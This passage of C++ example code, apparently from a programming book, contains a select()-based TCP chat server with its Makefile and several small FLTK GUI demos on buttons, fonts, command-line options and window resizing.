the_selector->Remove(tmp->s);
delete tmp->s;
delete tmp;
}
the_selector->Remove(this);
}
void ChatServer::Handle(bool r, bool w)
{
if (!r)
return;
int sd;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
sd = accept(GetFd(), (struct sockaddr*) &addr, &len);
if (sd == -1)
return;
item *p = new item;
p->next = first;
p->s = new ChatSession(this, sd);
first = p;
the_selector->Add(p->s);
}
void ChatServer::RemoveSession(ChatSession *s)
{
the_selector->Remove(s);
item **p;
for (p = &first; *p; p = &((*p)->next))
if ((*p)->s == s) {
item *tmp = *p;
*p = tmp->next;
delete tmp->s;
delete tmp;
return;
}
}
void ChatServer::SendAll(const char *msg, ChatSession *except)
{
item *p;
for (p = first; p; p = p->next)
if (p->s != except)
p->s->Send(msg);
}
void ChatSession::Send(const char *msg)
{
write(GetFd(), msg, strlen(msg));
}
ChatSession::ChatSession(ChatServer *a_master, int fd)
: FdHandler(fd, true), buf_used(0), ignoring(false),
name(0), the_master(a_master)
{
Send("You name please: ");
}
ChatSession::~ChatSession()
{
if (name)
delete[] name;
}
static const char welcome_msg[] =
"Welcome to the chat, you are known as ";
static const char entered_msg[] = " has entered the chat";
static const char left_msg[] = " has left the chat";
void ChatSession::Handle(bool r, bool w)
{
if (!r)
return;
if (buf_used >= (int) sizeof(buffer)) {
buf_used = 0;
ignoring = true;
}
if (ignoring)
ReadAndIgnore();
else
ReadAndCheck();
}
void ChatSession::ReadAndIgnore()
{
int rc = read(GetFd(), buffer, sizeof(buffer));
if (rc < 1) {
the_master->RemoveSession(this);
return;
}
for (int i = 0; i < rc; i++)
if (buffer[i] == '\n') {
int rest = rc - i - 1;
if (rest > 0)
memmove(buffer, buffer + i + 1, rest);
buf_used = rest;
ignoring = false;
CheckLines();
return;
}
}
void ChatSession::ReadAndCheck()
{
int rc = read(GetFd(), buffer + buf_used, sizeof(buffer)- buf_used);
if (rc < 1) {
if (name) {
int len = strlen(name);
char *lmsg = new char[len + sizeof(left_msg) + 2];
sprintf(lmsg, "%s%s\n", name, left_msg);
the_master->SendAll(lmsg, this);
delete[] lmsg;
}
the_master->RemoveSession(this);
return;
}
buf_used += rc;
CheckLines();
}
void ChatSession::CheckLines()
{
if (buf_used <= 0)
return;
for (int i = 0; i < buf_used; i++)
if (buffer[i] == '\n') {
buffer[i] = 0;
if (i > 0 && buffer[i-1] == '\r')
buffer[i-1] = 0;
ProcessLine(buffer);
int rest = buf_used - i - 1;
memmove(buffer, buffer + i + 1, rest);
buf_used = rest;
CheckLines();
return;
}
}
void ChatSession::ProcessLine(const char *str)
{
int len = strlen(str);
if (!name) {
name = new char[len+1];
strcpy(name, str);
char *wmsg = new char[len + sizeof(welcome_msg) + 2];
sprintf(wmsg, "%s%s\n", welcome_msg, name);
Send(wmsg);
delete[] wmsg;
char *emsg = new char[len + sizeof(entered_msg) + 2];
sprintf(emsg, "%s%s\n", name, entered_msg);
the_master->SendAll(emsg, this);
delete[] emsg;
return;
}
int nl = strlen(name);
char *msg = new char[nl + len + 5];
sprintf(msg, "<%s> %s\n", name, str);
the_master->SendAll(msg);
delete[] msg;
}
static int port = 7777;
int main()
{
EventSelector *select = new EventSelector;
ChatServer *serv = ChatServer::Start(select, port);
if (!serv) {
perror("server");
return 1;
}
select->Run();
return 0;
}
chat01.cppC++ / 338 lines
#include <unistd.h>
#include <sys/select.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
class FdHandler {
int fd;
public:
FdHandler(int a_fd) : fd(a_fd) {}
virtual ~FdHandler() { close(fd); }
virtual void Handle() = 0;
int GetFd() const { return fd; }
};
class EventSelector {
FdHandler **fd_array;
int fd_array_len;
int max_fd;
public:
EventSelector() : fd_array(0) {}
~EventSelector() { if (fd_array) delete[] fd_array; }
void Add(FdHandler *h);
bool Remove(FdHandler *h);
void Run();
};
void EventSelector::Add(FdHandler *h)
{
int i;
int fd = h->GetFd();
if (!fd_array) {
fd_array_len = fd > 15 ? fd + 1 : 16;
fd_array = new FdHandler*[fd_array_len];
for (i = 0; i < fd_array_len; i++)
fd_array[i] = 0;
max_fd = -1;
}
if (fd_array_len <= fd) {
FdHandler **tmp = new FdHandler*[fd+1];
for(i = 0; i <= fd; i++)
tmp[i] = i < fd_array_len ? fd_array[i] : 0;
fd_array_len = fd + 1;
delete[] fd_array;
fd_array = tmp;
}
if (fd > max_fd)
max_fd = fd;
fd_array[fd] = h;
}
bool EventSelector::Remove(FdHandler *h)
{
int fd = h->GetFd();
if (fd >= fd_array_len || fd_array[fd] != h)
return false;
fd_array[fd] = 0;
if (fd == max_fd)
while (max_fd >= 0 && !fd_array[max_fd])
max_fd--;
return true;
}
void EventSelector::Run()
{
while (1) {
int i;
fd_set rds;
FD_ZERO(&rds);
for (i = 0; i <= max_fd; i++)
if (fd_array[i])
FD_SET(i, &rds);
int res = select(max_fd + 1, &rds, 0, 0, 0);
if (res < 0) {
if (errno == EINTR)
continue;
else
break;
}
if (res > 0)
for (i = 0; i <= max_fd; i++)
if (fd_array[i] && FD_ISSET(i, &rds))
fd_array[i]->Handle();
}
}
enum {
max_line_length = 1024,
qlen_for_listen = 16
};
class ChatServer;
class ChatSession : FdHandler {
friend class ChatServer;
char buffer[max_line_length+1];
int buf_used;
bool ignoring;
char *name;
ChatServer *the_master;
ChatSession(ChatServer *a_master, int fd);
~ChatSession();
void Send(const char *msg);
virtual void Handle();
void ReadAndIgnore();
void ReadAndCheck();
void CheckLines();
void ProcessLine(const char *str);
static void ShiftBuffer(char *buffer, int& buf_used, int i);
};
class ChatServer : public FdHandler {
EventSelector *the_selector;
struct item {
ChatSession *s;
item *next;
};
item *first;
ChatServer(EventSelector *sel, int fd);
public:
~ChatServer();
static ChatServer *Start(EventSelector *sel, int port);
void RemoveSession(ChatSession *s);
void SendAll(const char *msg, ChatSession *except = 0);
private:
virtual void Handle();
};
ChatServer *ChatServer::Start(EventSelector *sel, int port)
{
int ls, opt, res;
struct sockaddr_in addr;
ls = socket(AF_INET, SOCK_STREAM, 0);
if (ls == -1)
return 0;
opt = 1;
setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
res = bind(ls, (struct sockaddr*) &addr, sizeof(addr));
if (res == -1) {
close(ls);
return 0;
}
listen(ls, qlen_for_listen);
return new ChatServer(sel, ls);
}
ChatServer::ChatServer(EventSelector *sel, int fd)
: FdHandler(fd), the_selector(sel), first(0)
{
the_selector->Add(this);
}
ChatServer::~ChatServer()
{
while(first) {
item *tmp = first;
first = first->next;
the_selector->Remove(tmp->s);
delete tmp->s;
delete tmp;
}
the_selector->Remove(this);
}
void ChatServer::Handle()
{
int sd;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
sd = accept(GetFd(), (struct sockaddr*) &addr, &len);
if (sd == -1)
return;
item *p = new item;
p->next = first;
p->s = new ChatSession(this, sd);
first = p;
the_selector->Add(p->s);
}
void ChatServer::RemoveSession(ChatSession *s)
{
the_selector->Remove(s);
item **p;
for (p = &first; *p; p = &((*p)->next))
if ((*p)->s == s) {
item *tmp = *p;
*p = tmp->next;
delete tmp->s;
delete tmp;
return;
}
}
void ChatServer::SendAll(const char *msg, ChatSession *except)
{
item *p;
for (p = first; p; p = p->next)
if (p->s != except)
p->s->Send(msg);
}
void ChatSession::Send(const char *msg)
{
write(GetFd(), msg, strlen(msg));
}
ChatSession::ChatSession(ChatServer *a_master, int fd)
: FdHandler(fd), buf_used(0), ignoring(false),
name(0), the_master(a_master)
{
Send("You name please: ");
}
ChatSession::~ChatSession()
{
if (name)
delete[] name;
}
static const char welcome_msg[] =
"Welcome to the chat, you are known as ";
static const char entered_msg[] = " has entered the chat";
static const char left_msg[] = " has left the chat";
void ChatSession::Handle()
{
if (buf_used >= (int) sizeof(buffer)) {
buf_used = 0;
ignoring = true;
}
if (ignoring)
ReadAndIgnore();
else
ReadAndCheck();
}
void ChatSession::ShiftBuffer(char *buffer, int& buf_used, int i)
{
buf_used -= (i + 1);
if (buf_used > 0)
memmove(buffer, buffer + i + 1, buf_used);
}
void ChatSession::ReadAndIgnore()
{
int rc = read(GetFd(), buffer, sizeof(buffer));
if (rc < 1) {
the_master->RemoveSession(this);
return;
}
for (int i = 0; i < rc; i++)
if (buffer[i] == '\n') {
buf_used = rc;
ShiftBuffer(buffer, buf_used, i);
ignoring = false;
CheckLines();
return;
}
}
void ChatSession::ReadAndCheck()
{
int rc = read(GetFd(), buffer + buf_used, sizeof(buffer) - buf_used);
if (rc < 1) {
if (name) {
int len = strlen(name);
char *lmsg = new char[len + sizeof(left_msg) + 2];
sprintf(lmsg, "%s%s\n", name, left_msg);
the_master->SendAll(lmsg, this);
delete[] lmsg;
}
the_master->RemoveSession(this);
return;
}
buf_used += rc;
CheckLines();
}
void ChatSession::CheckLines()
{
if (buf_used <= 0)
return;
for (int i = 0; i < buf_used; i++)
if (buffer[i] == '\n') {
buffer[i] = 0;
if (i > 0 && buffer[i-1] == '\r')
buffer[i-1] = 0;
ProcessLine(buffer);
ShiftBuffer(buffer, buf_used, i);
CheckLines();
return;
}
}
void ChatSession::ProcessLine(const char *str)
{
int len = strlen(str);
if (!name) {
name = new char[len + 1];
strcpy(name, str);
char *wmsg = new char[len + sizeof(welcome_msg) + 2];
sprintf(wmsg, "%s%s\n", welcome_msg, name);
Send(wmsg);
delete[] wmsg;
char *emsg = new char[len + sizeof(entered_msg) + 2];
sprintf(emsg, "%s%s\n", name, entered_msg);
the_master->SendAll(emsg, this);
delete[] emsg;
return;
}
int nl = strlen(name);
char *msg = new char[nl + len + 5];
sprintf(msg, "<%s> %s\n", name, str);
the_master->SendAll(msg);
delete[] msg;
}
static int port = 7777;
int main()
{
EventSelector *select = new EventSelector;
ChatServer *serv = ChatServer::Start(select, port);
if (!serv) {
perror("server");
return 1;
}
select->Run();
return 0;
}
01 (10-10)
MakefileMake / 15 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
chat: sockets.o chat.o main.o
$(CXX) $^ -o $@
clean:
rm -f *.o *~ deps.mk chat
deps.mk: $(wildcard *.cpp) Makefile
$(CXX) -MM $(wildcard *.cpp) > $@
ifneq (clean, $(MAKECMDGOALS))
-include deps.mk
endif
chat.cppC++ / 204 lines
#include <unistd.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include "chat.hpp"
static const char welcome_msg[] =
"Welcome to the chat, you are known as ";
static const char entered_msg[] = " has entered the chat";
static const char left_msg[] = " has left the chat";
ChatServer *ChatServer::Start(EventSelector *sel, int port)
{
int ls, opt, res;
struct sockaddr_in addr;
ls = socket(AF_INET, SOCK_STREAM, 0);
if (ls == -1)
return 0;
opt = 1;
setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
res = bind(ls, (struct sockaddr*) &addr, sizeof(addr));
if (res == -1) {
close(ls);
return 0;
}
listen(ls, qlen_for_listen);
return new ChatServer(sel, ls);
}
ChatServer::ChatServer(EventSelector *sel, int fd)
: FdHandler(fd), the_selector(sel), first(0)
{
the_selector->Add(this);
}
ChatServer::~ChatServer()
{
while(first) {
item *tmp = first;
first = first->next;
the_selector->Remove(tmp->s);
delete tmp->s;
delete tmp;
}
the_selector->Remove(this);
}
void ChatServer::Handle()
{
int sd;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
sd = accept(GetFd(), (struct sockaddr*) &addr, &len);
if (sd == -1)
return;
item *p = new item;
p->next = first;
p->s = new ChatSession(this, sd);
first = p;
the_selector->Add(p->s);
}
void ChatServer::RemoveSession(ChatSession *s)
{
the_selector->Remove(s);
item **p;
for (p = &first; *p; p = &((*p)->next))
if ((*p)->s == s) {
item *tmp = *p;
*p = tmp->next;
delete tmp->s;
delete tmp;
return;
}
}
void ChatServer::SendAll(const char *msg, ChatSession *except)
{
item *p;
for (p = first; p; p = p->next)
if (p->s != except)
p->s->Send(msg);
}
//////////////////////////////////////////////////////////////////////
void ChatSession::Send(const char *msg)
{
write(GetFd(), msg, strlen(msg));
}
ChatSession::ChatSession(ChatServer *a_master, int fd)
: FdHandler(fd), buf_used(0), ignoring(false),
name(0), the_master(a_master)
{
Send("You name please: ");
}
ChatSession::~ChatSession()
{
if (name)
delete[] name;
}
void ChatSession::Handle()
{
if (buf_used >= (int) sizeof(buffer)) {
buf_used = 0;
ignoring = true;
}
if (ignoring)
ReadAndIgnore();
else
ReadAndCheck();
}
void ChatSession::ShiftBuffer(char *buffer, int& buf_used, int i)
{
buf_used -= (i + 1);
if (buf_used > 0)
memmove(buffer, buffer + i + 1, buf_used);
}
void ChatSession::ReadAndIgnore()
{
int rc = read(GetFd(), buffer, sizeof(buffer));
if (rc < 1) {
the_master->RemoveSession(this);
return;
}
for (int i = 0; i < rc; i++)
if (buffer[i] == '\n') {
buf_used = rc;
ShiftBuffer(buffer, buf_used, i);
ignoring = false;
CheckLines();
return;
}
}
void ChatSession::ReadAndCheck()
{
int rc = read(GetFd(), buffer + buf_used, sizeof(buffer) - buf_used);
if (rc < 1) {
if (name) {
int len = strlen(name);
char *lmsg = new char[len + sizeof(left_msg) + 2];
sprintf(lmsg, "%s%s\n", name, left_msg);
the_master->SendAll(lmsg, this);
delete[] lmsg;
}
the_master->RemoveSession(this);
return;
}
buf_used += rc;
CheckLines();
}
void ChatSession::CheckLines()
{
if (buf_used <= 0)
return;
for (int i = 0; i < buf_used; i++)
if (buffer[i] == '\n') {
buffer[i] = 0;
if (i > 0 && buffer[i-1] == '\r')
buffer[i-1] = 0;
ProcessLine(buffer);
ShiftBuffer(buffer, buf_used, i);
CheckLines();
return;
}
}
void ChatSession::ProcessLine(const char *str)
{
int len = strlen(str);
if (!name) {
name = new char[len + 1];
strcpy(name, str);
char *wmsg = new char[len + sizeof(welcome_msg) + 2];
sprintf(wmsg, "%s%s\n", welcome_msg, name);
Send(wmsg);
delete[] wmsg;
char *emsg = new char[len + sizeof(entered_msg) + 2];
sprintf(emsg, "%s%s\n", name, entered_msg);
the_master->SendAll(emsg, this);
delete[] emsg;
return;
}
int nl = strlen(name);
char *msg = new char[nl + len + 5];
sprintf(msg, "<%s> %s\n", name, str);
the_master->SendAll(msg);
delete[] msg;
}
chat.hppC++ / 49 lines
#ifndef CHAT_HPP
#define CHAT_HPP
#include "sockets.hpp"
enum {
max_line_length = 1024,
qlen_for_listen = 16
};
class ChatServer;
class ChatSession : FdHandler {
friend class ChatServer;
char buffer[max_line_length+1];
int buf_used;
bool ignoring;
char *name;
ChatServer *the_master;
ChatSession(ChatServer *a_master, int fd);
~ChatSession();
void Send(const char *msg);
virtual void Handle();
void ReadAndIgnore();
void ReadAndCheck();
void CheckLines();
void ProcessLine(const char *str);
static void ShiftBuffer(char *buffer, int& buf_used, int i);
};
class ChatServer : public FdHandler {
EventSelector *the_selector;
struct item {
ChatSession *s;
item *next;
};
item *first;
ChatServer(EventSelector *sel, int fd);
public:
~ChatServer();
static ChatServer *Start(EventSelector *sel, int port);
void RemoveSession(ChatSession *s);
void SendAll(const char *msg, ChatSession *except = 0);
private:
virtual void Handle();
};
#endif
deps.mkMake / 3 lines
chat.o: chat.cpp chat.hpp sockets.hpp
main.o: main.cpp sockets.hpp chat.hpp
sockets.o: sockets.cpp sockets.hpp
main.cppC++ / 18 lines
#include <stdio.h>
#include "sockets.hpp"
#include "chat.hpp"
static int port = 7777;
int main()
{
EventSelector *select = new EventSelector;
ChatServer *serv = ChatServer::Start(select, port);
if (!serv) {
perror("server");
return 1;
}
select->Run();
return 0;
}
sockets.cppC++ / 72 lines
#include <unistd.h>
#include <sys/select.h>
#include <errno.h>
#include "sockets.hpp"
FdHandler::~FdHandler()
{
close(fd);
}
/////////////////////////////////////////////////////////////////////
void EventSelector::Add(FdHandler *h)
{
int i;
int fd = h->GetFd();
if (!fd_array) {
fd_array_len = fd > 15 ? fd + 1 : 16;
fd_array = new FdHandler*[fd_array_len];
for (i = 0; i < fd_array_len; i++)
fd_array[i] = 0;
max_fd = -1;
}
if (fd_array_len <= fd) {
FdHandler **tmp = new FdHandler*[fd+1];
for(i = 0; i <= fd; i++)
tmp[i] = i < fd_array_len ? fd_array[i] : 0;
fd_array_len = fd + 1;
delete[] fd_array;
fd_array = tmp;
}
if (fd > max_fd)
max_fd = fd;
fd_array[fd] = h;
}
bool EventSelector::Remove(FdHandler *h)
{
int fd = h->GetFd();
if (fd >= fd_array_len || fd_array[fd] != h)
return false;
fd_array[fd] = 0;
if (fd == max_fd)
while (max_fd >= 0 && !fd_array[max_fd])
max_fd--;
return true;
}
void EventSelector::Run()
{
while (1) {
int i;
fd_set rds;
FD_ZERO(&rds);
for (i = 0; i <= max_fd; i++)
if (fd_array[i])
FD_SET(i, &rds);
int res = select(max_fd + 1, &rds, 0, 0, 0);
if (res < 0) {
if (errno == EINTR)
continue;
else
break;
}
if (res > 0)
for (i = 0; i <= max_fd; i++)
if (fd_array[i] && FD_ISSET(i, &rds))
fd_array[i]->Handle();
}
}
sockets.hppC++ / 25 lines
#ifndef SOCKETS_HPP
#define SOCKETS_HPP
class FdHandler {
int fd;
public:
FdHandler(int a_fd) : fd(a_fd) {}
virtual ~FdHandler();
virtual void Handle() = 0;
int GetFd() const { return fd; }
};
class EventSelector {
FdHandler **fd_array;
int fd_array_len;
int max_fd;
public:
EventSelector() : fd_array(0) {}
~EventSelector() { if (fd_array) delete[] fd_array; }
void Add(FdHandler *h);
bool Remove(FdHandler *h);
void Run();
};
#endif
Book example: fltk/
fltk/cmdline.cppC++ / 80 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
printf("%s\n", (const char*)user);
}
static int buttons_count = 3;
static void set_buttons_count(const char *arg)
{
char *errptr;
buttons_count = strtol(arg, &errptr, 10);
if(errptr == arg || *errptr) {
fprintf(stderr, "Invalid count %s\n", arg);
exit(1);
}
}
static int cmdline_callback(int argc, char **argv, int &idx)
{
if(0 == strcmp(argv[idx], "-count")) {
if(argc < idx + 2) {
fprintf(stderr, "Count (number) expected\n");
exit(1);
}
set_buttons_count(argv[idx+1]);
idx += 2;
return 2; /* we use the current and the next one */
}
#if 0
if(0 == strcmp(argv[idx], "-bg")) {
// just ignore
idx += 2;
return 2;
}
#endif
return 0; /* we don't know flags other than '-count' */
}
int main(int argc, char **argv)
{
int arg_idx, res;
res = Fl::args(argc, argv, arg_idx, cmdline_callback);
if(!res) {
fprintf(stderr, "Malformed command line\n");
return 1;
}
int win_w = button_w + spacing * 2;
int win_h = (button_h + spacing) * buttons_count + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "command line demo");
int i;
int y = spacing;
for(i = 0; i < buttons_count; i++) {
const char *msg =
arg_idx + i < argc ? argv[arg_idx + i] : "Not set";
Fl_Button *b =
new Fl_Button(spacing, y, button_w, button_h, msg);
b->labelsize(font_size);
b->callback(say_callback, (void*)msg);
y += button_h + spacing;
}
win->end();
win->show(argc, argv);
return Fl::run();
}
fltk/cmdline2.cppC++ / 74 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
printf("%s\n", (const char*)user);
}
int main(int argc, char **argv)
{
int buttons_count = 3;
int idx = 1;
bool fltk_args = false;
while(idx < argc) {
if(0 == strcmp(argv[idx], "-count")) {
if(argc < idx + 2) {
fprintf(stderr, "Count (number) expected\n");
exit(1);
}
char *errptr;
buttons_count = strtol(argv[idx+1], &errptr, 10);
if(errptr == argv[idx+1] || *errptr) {
fprintf(stderr, "Invalid count %s\n", argv[idx+1]);
exit(1);
}
idx += 2;
continue;
}
if(argv[idx][0] == '-') {
int res = Fl::arg(argc, argv, idx);
fltk_args = true;
if(res == 0) {
fprintf(stderr, "Flag <<%s>> unknown\n", argv[idx]);
exit(1);
}
continue;
}
break;
}
int win_w = button_w + spacing * 2;
int win_h = (button_h + spacing) * buttons_count + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "command line demo");
int i;
int y = spacing;
for(i = 0; i < buttons_count; i++) {
const char *msg =
idx + i < argc ? argv[idx + i] : "Not set";
Fl_Button *b =
new Fl_Button(spacing, y, button_w, button_h, msg);
b->labelsize(font_size);
b->callback(say_callback, (void*)msg);
y += button_h + spacing;
}
win->end();
if(fltk_args)
win->show(argc, argv);
else
win->show();
return Fl::run();
}
fltk/fonts.cppC++ / 56 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
Fl_Box **make_box_grid(int w, int h, int spc, int nx, int ny)
{
int i, j;
Fl_Box **r = new Fl_Box*[nx*ny];
for(i = 0; i < nx; i++)
for(j = 0; j < ny; j++) {
r[i * ny + j] = new Fl_Box((w+spc)*i+spc, (h+spc)*j+spc, w, h);
}
return r;
}
enum {
spacing = 10,
box_h = 45,
box_w = 330,
count_x = 3,
count_y = 4,
labelsize = 35
};
const char * const lab_main[count_x] = { "Helvetica", "Courier", "Times" };
const char * const lab_aux[count_y] =
{ "", " BOLD", " ITALIC", " B+I" };
const int font_codes[count_x] = { FL_HELVETICA, FL_COURIER, FL_TIMES };
const int font_add[count_y] = { 0, FL_BOLD, FL_ITALIC, FL_BOLD+FL_ITALIC };
int main(int argc, char **argv)
{
int win_w = (box_w+spacing)*count_x+spacing;
int win_h = (box_h+spacing)*count_y+spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "fonts demo (fonts.cpp)");
Fl_Box **grid = make_box_grid(box_w, box_h, spacing, count_x, count_y);
int n, k;
char buf[80];
for(n = 0; n < count_x; n++) {
for(k = 0; k < count_y; k++) {
sprintf(buf, "%s%s", lab_main[n], lab_aux[k]);
int idx = n*count_y + k;
grid[idx]->copy_label(buf);
grid[idx]->labelfont(font_codes[n] + font_add[k]);
grid[idx]->labelsize(labelsize);
grid[idx]->align(FL_ALIGN_CENTER);
}
}
win->end();
win->show();
return Fl::run();
}
fltk/hello.cppC++ / 13 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(300, 100, "hello");
Fl_Box *b = new Fl_Box(0, 0, 300, 100, "Hello, World!");
b->labelsize(36);
win->end();
win->show();
return Fl::run();
}
fltk/labelpics.cppC++ / 62 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
Fl_Box **make_box_grid(int w, int h, int spc, int nx, int ny)
{
int i, j;
Fl_Box **r = new Fl_Box*[nx*ny];
for(i = 0; i < nx; i++)
for(j = 0; j < ny; j++) {
r[i * ny + j] = new Fl_Box((w+spc)*i+spc, (h+spc)*j+spc, w, h);
}
return r;
}
enum {
spacing = 10,
box_h = 45,
box_w = 200,
count_x = 4,
count_y = 5,
labelsize = 20
};
const char * const labels[] = {
"@>>", "@2>>", "@7>>", "@+9>>", "@-200097>>",
"@fileprint", "@%fileprint", "@3fileprint", "@+5fileprint", "@-28fileprint",
//"@-->", "@$-->", "@00015-->", "@9-->", "@+99-->",
"@DnArrow", "@$DnArrow", "@00015DnArrow", "@9DnArrow", "@+99DnArrow",
"@->|", "@-100345->|", "@00015->|", "@9->|", "@+99->|",
0
};
int main(int argc, char **argv)
{
int win_w = (box_w+spacing)*count_x+spacing;
int win_h = (box_h+spacing)*count_y+spacing;
Fl_Window *win = new Fl_Window(win_w, win_h,
"label icons demo (labelpics.cpp)");
Fl_Box **grid = make_box_grid(box_w, box_h, spacing, count_x, count_y);
int n;
char buf[80];
for(n = 0; n < count_x * count_y; n++) {
if(!labels[n])
break;
if(!*labels[n])
continue;
sprintf(buf, "%s @%s", labels[n], labels[n]);
grid[n]->labelfont(FL_COURIER);
grid[n]->labelsize(labelsize);
grid[n]->copy_label(buf);
grid[n]->align(FL_ALIGN_LEFT|FL_ALIGN_INSIDE);
// grid[n]->box(FL_BORDER_FRAME);
// grid[n]->color(FL_RED);
}
win->end();
win->show();
return Fl::run();
}
fltk/oo_speak.cppC++ / 59 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
class OOFLButton : public Fl_Button {
public:
OOFLButton(int x, int y, int w, int h, const char *lb = 0)
: Fl_Button(x, y, w, h, lb)
{ callback(CallbackFunction, 0); }
virtual ~OOFLButton() {}
virtual void OnPress() {}
private:
static void CallbackFunction(Fl_Widget *w, void *user)
{ static_cast<OOFLButton*>(w)->OnPress(); }
};
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20
};
class ButtonCommon : public OOFLButton {
public:
ButtonCommon(int y, const char *lb)
: OOFLButton(spacing, y, button_w, button_h, lb)
{ labelsize(font_size); }
};
class SayButton : public ButtonCommon {
const char *msg;
public:
SayButton(int y, const char *lb, const char *amsg)
: ButtonCommon(y, lb), msg(amsg) {}
virtual void OnPress() { printf("%s\n", msg); }
};
class ExitButton : public ButtonCommon {
public:
ExitButton(int y) : ButtonCommon(y, "Quit") {}
virtual void OnPress() { exit(0); }
};
int main(int argc, char **argv)
{
int win_w = button_w + spacing * 2;
int win_h = button_h * 3 + spacing * 4;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
new SayButton(spacing, "Say hello", "Hello, world!");
new SayButton(2 * spacing + button_h, "Say goodbye", "Goodbye, world!");
new ExitButton(3 * spacing + 2 * button_h);
win->end();
win->show();
return Fl::run();
}
fltk/options.cppC++ / 82 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Radio_Round_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Box.H>
enum {
spacing = 2,
button_w = 150,
button_h = 40,
option_w = 120,
option_h = 20,
letter_size = 90
};
struct controls {
Fl_Radio_Round_Button *rb[3];
Fl_Check_Button *cb;
Fl_Box *box;
};
static const int colors[] = { FL_RED, FL_GREEN, FL_BLUE };
static const char *const colnames[] = { "red", "green", "blue" };
static void set_callback(Fl_Widget *w, void *user)
{
controls *c = (controls*)user;
int i;
for(i = 0; i < 3; i++) {
if(c->rb[i]->value()) {
c->box->color(colors[i]);
break;
}
}
c->box->label(c->cb->value() ? "A" : "");
}
static void exit_callback(Fl_Widget *, void *)
{
exit(0);
}
int main()
{
int win_w = button_w * 2 + spacing * 3;
int win_h = option_h * 4 + button_h + spacing * 7;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
controls *ctrl = new controls;
int i;
for(i = 0; i < 3; i++) {
int y = spacing * (i+1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Round_Button(spacing, y,
option_w, option_h, colnames[i]);
}
ctrl->cb = new Fl_Check_Button(spacing, 5*spacing + 3*option_h,
option_w, option_h, "show letter");
int box_x = 2 * spacing + option_w;
int box_w = 2 * button_w + spacing - option_w - spacing;
int box_h = 4 * option_h + 4 * spacing;
ctrl->box = new Fl_Box(box_x, spacing, box_w, box_h);
ctrl->box->labelsize(letter_size);
ctrl->box->labelcolor(FL_WHITE);
ctrl->box->box(FL_FLAT_BOX);
int buttons_y = 6*spacing + 4*option_h;
Fl_Button *set_b =
new Fl_Button(spacing, buttons_y, button_w, button_h, "Set!");
set_b->callback(set_callback, (void*)ctrl);
Fl_Button *close_b =
new Fl_Button(2*spacing + button_w,
buttons_y, button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
fltk/resize.cppC++ / 53 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
spacing = 5,
cell_w = 100,
cell_h = 100,
num_x = 4,
num_y = 4,
labelsz = 50
};
static int cell_x(int n) { return n * (cell_w + spacing) + spacing; }
static int cell_y(int m) { return m * (cell_h + spacing) + spacing; }
static Fl_Box *mkwidget(int n, int m, int cn, int cm, const char *lab)
{
Fl_Box *b = new Fl_Box(cell_x(n), cell_y(m),
cn * cell_w + spacing * (cn-1),
cm * cell_h + spacing * (cm-1),
lab);
b->box(FL_EMBOSSED_BOX);
b->color(FL_WHITE);
b->labelsize(labelsz);
return b;
}
int main(int argc, char **argv)
{
Fl_Window *win =
new Fl_Window(cell_x(num_x), cell_y(num_y), "resize demo");
mkwidget(0, 0, 2, 1, "A");
mkwidget(2, 0, 1, 1, "B");
mkwidget(3, 0, 1, 1, "C");
mkwidget(0, 1, 1, 2, "D");
mkwidget(3, 1, 1, 1, "E");
mkwidget(3, 2, 1, 2, "F");
mkwidget(0, 3, 1, 1, "G");
mkwidget(1, 3, 2, 1, "H");
Fl_Box *b = mkwidget(1, 1, 2, 2, "R");
win->resizable(b);
win->end();
win->show();
return Fl::run();
}
fltk/say_it.cppC++ / 69 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Button.H>
enum {
spacing = 20,
input_h = 30,
label_w = 50,
button_w = 100,
button_h = 40
};
static void say_callback(Fl_Widget *w, void *user)
{
printf("%s\n", ((Fl_Input*)user)->value());
((Fl_Input*)user)->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
((Fl_Input*)user)->value("");
((Fl_Input*)user)->take_focus();
}
static void exit_callback(Fl_Widget *w, void *)
{
